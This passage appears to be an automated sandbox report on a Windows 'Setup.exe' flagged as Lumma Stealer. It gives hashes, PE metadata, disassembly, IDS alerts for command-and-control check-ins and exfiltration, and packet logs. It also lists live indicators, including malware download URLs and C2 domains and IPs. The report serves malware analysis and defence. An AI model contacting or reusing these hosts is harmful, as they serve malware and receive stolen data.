Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Setup.exe

Simulations

Behavior and APIs

Time	Type	Description
10:00:24	API Interceptor	9x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
	01YP9Lwum8.exe	Get hash	malicious	DCRat	Browse	77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fashionablei.sbs	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
fashionablei.sbs	5Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	w12rykWq2L.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	jWpgP22dl2.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	1GeaC4QnFy.dll	Get hash	malicious	CobaltStrike	Browse	188.114.97.3
	OyPpyRRqd8.dll	Get hash	malicious	CobaltStrike	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	CheatInjector.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\bin\jsii-runtime.js

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	C++ source, ASCII text, with very long lines (324), with escape sequences
Category:	dropped
Size (bytes):	138639
Entropy (8bit):	4.286369825068587
Encrypted:	false
SSDEEP:	1536:ZMjsdRCCXpnzopj7/5dLopnQPporDa6meL4xmJ:fenLo9QP+lmeL4IJ
MD5:	A7C8367F8B900617374F5D3FAC86DFD7
SHA1:	6BDEAB34FA632083B2578708EB0C50443ED5E9A9
SHA-256:	E4F82DB7579D84B2DDB49B16A8CBD8256D86751473D1A86B4B31D1E3963BA0FA
SHA-512:	2C2E9D5445F4BDFBCA7F35881E9D133373145B40D26ECB9B122E60DD343B580FA3BC70C8B981B4AE7E3D9B8C4EA90C6A77F7328A60CBE0F2515EE364AD0CB0A3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	var __webpack_modules__ = {. 821: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. module = __webpack_require__.nmd(module);. const wrapAnsi16 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${code + offset}m`;. };. const wrapAnsi256 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${38 + offset};5;${code}m`;. };. const wrapAnsi16m = (fn, offset) => (...args) => {. const rgb = fn(...args);. return `.[${38 + offset};2;${rgb[0]};${rgb[1]};${rgb[2]}m`;. };. const ansi2ansi = n => n;. const rgb2rgb = (r, g, b) => [ r, g, b ];. const setLazyProperty = (object, property, get) => {. Object.defineProperty(object, property, {. get: () => {. const value = get();. Object.defineProperty(object, property, {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\bin\jsii-runtime.js.map

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	218125
Entropy (8bit):	5.457704584855637
Encrypted:	false
SSDEEP:	3072:zKHyW445CPl85X3GJXlAnFhvMvOqGPUqdShdY5S8DoDT1JyBwJbMaky9nwe+L/Iq:LWY4KTvqd8dYQ8uJcwSy9nQ
MD5:	0FEFBA04D8BBEDD2CFF7EB75C3834847
SHA1:	054D11200D77C1B5DFB3B98A33973623619D34BE
SHA-256:	DBBDB23093B0732EE1504F79D3835B1C6B2E3F526AB42A6DA381E6CEC2648AE5
SHA-512:	3CEAA01275E2DEC044BA5F8D41092EB4F28E62CDAD24A71C8F7F57E4C48B709568C8C376BF2B048DC989810FB8EB91F2D944379804D5D85480A26663FC3F90FE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"version":3,"file":"bin/jsii-runtime.js","mappings":";;;;QAEA,MAAMA,aAAa,CAACC,IAAIC,WAAW,IAAIC;YACtC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAUC,OAAOF;AAAS;QAGlC,MAAMG,cAAc,CAACJ,IAAIC,WAAW,IAAIC;YACvC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAU,KAAKD,YAAYE;AAAO;QAG1C,MAAME,cAAc,CAACL,IAAIC,WAAW,IAAIC;YACvC,MAAMI,MAAMN,MAAME;YAClB,OAAO,KAAU,KAAKD,YAAYK,IAAI,MAAMA,IAAI,MAAMA,IAAI;AAAK;QAGhE,MAAMC,YAAYC,KAAKA;QACvB,MAAMC,UAAU,CAACC,GAAGC,GAAGC,MAAM,EAACF,GAAGC,GAAGC;QAEpC,MAAMC,kBAAkB,CAACC,QAAQC,UAAUC;YAC1CC,OAAOC,eAAeJ,QAAQC,UAAU;gBACvCC,KAAK;oBACJ,MAAMG,QAAQH;oBAEdC,OAAOC,eAAeJ,QAAQC,UAAU;wBACvCI;wBACAC,YAAY;wBACZC,cAAc;;oBAGf,OAAOF;AAAK;gBAEbC,YAAY;gBACZC,cAAc;;AACb;QAIH,IAAIC;QACJ,MAAMC,oBAAoB,CAACC,MAAMC,aAAaC,UAAUC;YACvD,IAAIL,iBAAiBM,WAAW;gBAC/BN,eAAe,oBAAQ;AACxB;YAEA,MAAMrB,SAAS0B,eAAe,KAAK;YACnC,MAAME,SAAS,CAAC;YAEhB,KAAK,OAAOC,aAAaC,UAAUd,OAAOe,QAAQV,eAAe;gBAChE,MAAMW,OAAOH,gBAAgB,WAAW,SAASA;gBACjD,IAAIA,gBAAgBL,aAAa;oBAChCI,OAAOI,QAAQT,KAAKE,UAAUzB;AAC/B,uBAAO,WAAW8B,UAAU,UAAU;oBACrCF,OAAOI,Q

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\lib\program.js

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (489)
Category:	dropped
Size (bytes):	802466
Entropy (8bit):	4.298722687837962
Encrypted:	false
SSDEEP:	6144:Z6TjefxOXTNwk8mCkCbCp4wrZaWvZEIhU4FFEY+cbCtNYbIgoxrV2z1J:Z6TjefxOXTNUkCbCp42aW4NwL
MD5:	4C6E1287B2F6060C1E0F386B0B47959A
SHA1:	0FA0C721B6848D78C73FCF74BB37891A17FF0999
SHA-256:	C8DB5A41C7EC02EB2F1F20A6CD544DB215246AD9D566EA9494D63521B9B1E271
SHA-512:	0FF6A037A413BE93DCB3C1B4C26CB9938025F34D9AA20818FBDED5B4B00BC89DCBA9EB58756BAFBA852CA972C058BDDB087E9CB58C9B442AC936C93590E14C13
Malicious:	false
Reputation:	low
Preview:	var __webpack_modules__ = {. 1165: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. const fs = __webpack_require__(9896);. const path = __webpack_require__(6928);. const LCHOWN = fs.lchown ? "lchown" : "chown";. const LCHOWNSYNC = fs.lchownSync ? "lchownSync" : "chownSync";. const needEISDIRHandled = fs.lchown && !process.version.match(/v1[1-9]+\./) && !process.version.match(/v10\.[6-9]/);. const lchownSync = (path, uid, gid) => {. try {. return fs[LCHOWNSYNC](path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const chownSync = (path, uid, gid) => {. try {. return fs.chownSync(path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const handleEISDIR = needEISDIRHandled ? (path, uid, gid, cb) => er => {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\lib\program.js.map

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1155588
Entropy (8bit):	5.4159552687244155
Encrypted:	false
SSDEEP:	12288:D2DUMiOfGYFO/1pf0ThVUhI2PoEMuCfzT/2ZoEC74RiCfulDlJ:MZFO/1pf9hI2EjT/2ZoEC74RiCfulDlJ
MD5:	BE06DF1EE810220598CAE6D42AE2FD77
SHA1:	5DD0B0F101FDE69B49E37947380431D75D26125C
SHA-256:	09E18C6FA27068005DA8BCBB802C70B1C182866274478C684A4AB652ACAF2BBD
SHA-512:	BF40F52E37DFDBEE4AC4F562A28520893D3C8C13FDDB7A94E94458B1E8591162EADF3A4BE401A2FF6C2CE2449721F3F036C2B41571BB3C491E7F648595BAA8FA
Malicious:	false
Reputation:	low
Preview:	{"version":3,"file":"lib/program.js","mappings":";;;QACA,MAAMA,KAAK,oBAAQ;QACnB,MAAMC,OAAO,oBAAQ;QAGrB,MAAMC,SAASF,GAAGG,SAAS,WAAW;QAEtC,MAAMC,aAAaJ,GAAGK,aAAa,eAAe;QAGlD,MAAMC,oBAAoBN,GAAGG,WAC1BI,QAAQC,QAAQC,MAAM,kBACtBF,QAAQC,QAAQC,MAAM;QAEzB,MAAMJ,aAAa,CAACJ,MAAMS,KAAKC;YAC7B;gBACE,OAAOX,GAAGI,YAAYH,MAAMS,KAAKC;AACnC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAME,YAAY,CAACb,MAAMS,KAAKC;YAC5B;gBACE,OAAOX,GAAGc,UAAUb,MAAMS,KAAKC;AACjC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAMG,eACJT,oBAAoB,CAACL,MAAMS,KAAKC,KAAKK,OAAOJ;YAI1C,KAAKA,MAAMA,GAAGC,SAAS,UACrBG,GAAGJ,UAEHZ,GAAGiB,MAAMhB,MAAMS,KAAKC,KAAKK;AAAE,YAE7B,CAACE,GAAGC,IAAIC,KAAKJ,OAAOA;QAGxB,MAAMK,mBACJf,oBAAoB,CAACL,MAAMS,KAAKC;YAC9B;gBACE,OAAON,WAAWJ,MAAMS,KAAKC;AAC/B,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;gBACRE,UAAUb,MAAMS,KAAKC;AACvB;AAAA,YAEA,CAACV,MAAMS,KAAKC,QAAQN,WAAWJ,MAAMS,KAAKC;QAG9C,MAAMW,cAAcf,QAAQC;QAC5B,IAAIe,UAAU,CAACtB,MAAMuB,SAASR,OAAOhB,GAAGuB,QAAQtB,MAAMuB,SAASR;Q

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.563099407038782
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	9'918'976 bytes
MD5:	b159bfa7381138c176f2cd07b86c4588
SHA1:	1cf2077676782c8275c480a3e38a1413edc65860
SHA256:	8ba0468886223bcecdae4375c0d0905cef418a4731e85101f0ce6b3706742325
SHA512:	7343941b64431c87217b23fb8c7269eaaf37cb697117f2a61e2b97148a829d0ed129a37c135fc2fb32ace235a4cc3a4bf9c30d00d2946f415921323b3979c428
SSDEEP:	98304:oGW4cLHx+3tloiqf8LXKas2Cus30iTAuNu/CAZBC+rQ:B1cAKabCuYNQk+rQ
TLSH:	B1A65A02FADB48B2D90719B0455F622F23306D065B29CBC7FA5C3B59FF736A04972299
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........8................5.........p.............@.................................2.....@................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x46d970
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	4f2f006e2ecf7172ad368f8289dc96c1

Entrypoint Preview

Instruction
jmp 00007F85F17B1740h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007F85F1796FB6h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 00000BA0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007F85F17B3B74h
cld
call 00007F85F17B2C2Eh
call 00007F85F17B1869h
add esp, 08h
ret
mov ebx, dword ptr [esp+04h]
mov dword ptr fs:[00000034h], 00000000h
mov ebp, esp
mov ecx, dword ptr [ebx+04h]
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd
call dword ptr [ebx]
mov esp, ebp
mov ebx, dword ptr [esp+04h]
mov dword ptr [ebx+0Ch], eax
mov dword ptr [ebx+10h], edx
mov eax, dword ptr fs:[00000034h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x97a000	0x45e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9a6000	0x1f10	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x97b000	0x294e0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x90e040	0xb8	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x35ce89	0x35d000	76225605773e8e959b99feb5422863cf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x35e000	0x5ae660	0x5ae800	3616bfa403d453eebe348163f75edb68	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90d000	0x6c988	0x3e000	d82acf7cbf9c9d97e2ee5a7f2bf474ea	False	0.45423150831653225	data	5.599281163217343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x97a000	0x45e	0x600	8768fab6ab909d308335d2ec3ece3e03	False	0.36328125	data	3.92186235756886	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x97b000	0x294e0	0x29600	f03b7153c730749184c175c1a4541d5b	False	0.5878316182024169	data	6.647085560211021	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x9a5000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x9a6000	0x1f10	0x2000	bff2e9f43c526bd91927f92dd480dac6	False	0.330322265625	data	4.645728263591671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x9a61d4	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5675675675675675
RT_ICON	0x9a62fc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4486994219653179
RT_ICON	0x9a6864	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4637096774193548
RT_ICON	0x9a6b4c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3935018050541516
RT_GROUP_ICON	0x9a73f4	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x9a7434	0x4f4	data	English	United States	0.29574132492113564
RT_MANIFEST	0x9a7928	0x5e8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4252645502645503

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T16:00:25.324279+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-26T16:00:25.324279+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-26T16:00:26.497687+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-26T16:00:26.497687+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-26T16:00:29.426425+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-26T16:00:40.586198+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49745	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 16:00:23.670959949 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:23.671046972 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:23.671308041 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:23.674860954 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:23.674938917 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:24.289453983 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:24.289555073 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:24.296036959 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:24.296108961 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:24.296442986 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:24.344822884 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:24.844027996 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:24.844028950 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:24.844237089 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:25.324290037 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:25.324420929 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:25.324528933 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:25.327822924 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:25.327872992 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:25.327904940 CEST	49734	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:25.327920914 CEST	443	49734	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:25.394887924 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:25.394934893 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:25.395025969 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:25.395454884 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:25.395472050 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.008553028 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.008635044 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.010534048 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.010564089 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.010921955 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.012383938 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.012456894 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.012479067 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.497672081 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.497733116 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.498053074 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.498128891 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.498168945 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.498231888 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.498248100 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.498601913 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.498661995 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.498675108 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.499429941 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.499486923 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.499500036 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.548094034 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.614967108 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.615036964 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.615163088 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.615225077 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.615391016 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.615469933 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.615572929 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.615606070 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.615674973 CEST	49737	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.615689993 CEST	443	49737	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.844710112 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.844805956 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:26.844898939 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.845195055 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:26.845233917 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:27.456109047 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:27.456198931 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:27.460398912 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:27.460429907 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:27.461014032 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:27.472637892 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:27.476632118 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:27.476769924 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:27.476896048 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:27.476917028 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.119333982 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.119462967 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.119564056 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.119839907 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.119880915 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.274713993 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.274756908 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.275062084 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.275398016 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.275417089 CEST	443	49739	188.114.97.3	192.168.2.4
